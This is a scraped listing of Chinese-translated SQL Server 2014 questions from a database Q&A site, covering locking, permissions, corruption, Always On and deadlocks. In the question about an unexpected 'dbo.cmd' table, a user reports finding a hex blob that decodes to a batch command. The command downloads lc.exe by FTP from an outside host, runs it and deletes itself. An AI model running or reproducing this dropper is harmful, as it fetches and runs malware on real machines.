标签: sql-server-2014

我应该禁用系统数据库上的来宾用户吗

来宾用户在我们的用户数据库上被禁用,但数据安全人员希望我们也在系统数据库上禁用它。我应该这样做吗?

sql-server users availability-groups sql-server-2014

1
推荐指数
2
解决办法
2571
查看次数

无法理解锁定逻辑

在尝试创建死锁时,我遇到了无法理解的锁定问题:我正在更新按timekey列分区的大表: 在此处输入图片说明

我正在尝试运行两个更新语句:

BEGIN TRAN
    UPDATE [Transform].[AllCommunications_Arch] 
        SET Callid = 10300503454
    WHERE Callid = 10348103154
    AND TimeKey = 20161205
Run Code Online (Sandbox Code Playgroud)

BEGIN TRAN
    UPDATE [Transform].[AllCommunications_Arch] 
        SET Callid = 1234576704
    WHERE Callid = 4321276791
        AND TimeKey = 20160720
Run Code Online (Sandbox Code Playgroud)

每个人都应该更新一行,每个人都在不同的分区上运行,但由于某种原因,一个语句仍然阻塞另一个。DB 具有默认隔离杆(已提交读)。 在此处输入图片说明

执行计划: 在此处输入图片说明

CREATE TABLE [Transform].[AllCommunications_Arch](
    [SessionId] [varchar](100) NULL,
    [TimeKey] [int] NULL,
    [Callid] [bigint] NULL,
    [MemberId] [int] NULL,
    [Duration] [int] NULL,
    [CalledAt] [datetime] NULL,
    [EndTime] [datetime] NULL....
) ON [Transform_Timekey_Daily_Arch_PS]([TimeKey])
WITH
(
DATA_COMPRESSION = PAGE
)

GO

CREATE CLUSTERED INDEX [CL_Transform_AllCommunications_Arch] ON [Transform].[AllCommunications_Arch] …
Run Code Online (Sandbox Code Playgroud)

sql-server locking sql-server-2014

1
推荐指数
1
解决办法
72
查看次数

新数据库,它已经有一个表`dbo.cmd`

我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)

它还插入了一行:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)

我尝试将其转换为字符串,结果如下:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)

在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe夹中有一个文件%systemroot%/Help/lc.exe,但我还没有执行脚本中的最后一个命令:

lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)

这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?

sql-server sql-server-2014

1
推荐指数
1
解决办法
248
查看次数

使用 bcp 导出数据以处理损坏的数据

DBCC CHECKDB在 SQL Server 2014 上已损坏行的表上运行时遇到一致性错误。在前 30,000 行(总计 140 万(140 万)行)之后,我遇到了损坏错误。

我想尝试bcp将数据取出,直到损坏为止。我想跳过损坏的行。我想bcp在损坏范围之后并尽量减少数据丢失。

我该怎么做?请详细说明。

另请参阅我之前的问题:在 SQL Server 2014 中的几个表上运行 CHECKDB 的一致性错误

sql-server bcp corruption sql-server-2014

1
推荐指数
1
解决办法
891
查看次数

查找用户已明确授予对象权限的所有实例

是否可以为某个用户生成用户已获得显式访问权限的对象列表?

我想查看用户拥有明确权限的所有项目的列表,不包括通过角色等继承的任何权限。

sql-server permissions sql-server-2014

1
推荐指数
1
解决办法
690
查看次数

默认情况下通过侦听器连接到 SQL Server 的只读辅助副本

我们有 ApplicationIntent=ReadOnly 正确地将我们的用户路由到辅助只读副本。有没有办法让它成为默认行为?

显然,默认行为似乎是 ReadWrite,如果您不指定 ApplicationIntent,它将重定向到主服务器。

listener sql-server-2014

1
推荐指数
1
解决办法
2595
查看次数

发生 Always On 故障转移时如何使用“tempdb”?

tempdb发生故障转移时如何利用?

假设有两台服务器,服务器 1是主服务器服务器 2是辅助服务器。突然,故障转移发生了,那么,tempdb在这种情况下如何表现?

sql-server sql-server-2012 failover availability-groups sql-server-2014

1
推荐指数
1
解决办法
840
查看次数

无法确定元数据,因为存储过程包含动态 SQL

我有一个包含一些动态 SQL 的存储过程。我正在尝试使用执行存储过程,OPENROWSET但出现错误:

消息 11514,级别 16,状态 1,过程 sp_describe_first_result_set,第 1 行

无法确定元数据,因为语句 'EXEC sp_executesql @SQL, N'@row_count_out INT OUTPUT', @row_count_out = @row_count_table OUTPUT;' 在过程 'nachoTest' 中包含动态 SQL。考虑使用 WITH RESULT SETS 子句来显式描述结果集。

我真正的存储过程有点复杂,但这是错误的一个工作示例:

存储过程:

CREATE PROCEDURE nachoTest  @table_name NVARCHAR(MAX)
AS
BEGIN
    SET NOCOUNT ON;

    DECLARE @row_count_table INT
    DECLARE @SQL NVARCHAR(MAX)

    SET @SQL = N'SELECT @row_count_out = COUNT(*) FROM ' + @table_name
    EXEC sp_executesql @SQL, N'@row_count_out INT OUTPUT', @row_count_out = @row_count_table OUTPUT;

    SELECT @row_count_table AS row_count, @table_name AS table_name
END
GO
Run Code Online (Sandbox Code Playgroud)

调用它 …

sql-server stored-procedures dynamic-sql openrowset sql-server-2014

1
推荐指数
1
解决办法
1万
查看次数

查看历史死锁信息

我的任务是调查应用程序的工作由于死锁而失败的问题。我知道使用跟踪来捕获死锁,但是由于这是 16 小时前发生的事情,我想知道是否可以查看导致死锁的原因?

谢谢

sql-server deadlock sql-server-2014

1
推荐指数
1
解决办法
4774
查看次数

SQL Server 代理服务已删除

是否有人遇到过在运行 SQL Server 2014 的服务器上卸载使用 SQL Server Express 2008 的应用程序 (arcserv) 的问题?卸载 arcserv 时,它或用户删除了 SQL Server 代理。什么是/是代理恢复过程,

  1. 从安装媒体运行修复
  2. 再次运行安装媒体
  3. 卸载 SQL Server 并重新安装

我们的修复工作遇到了多个问题,包括由于缺少权限而无法访问的注册表组件键。

sql-server-2008 sql-server sql-server-agent sql-server-2014

1
推荐指数
1
解决办法
307
查看次数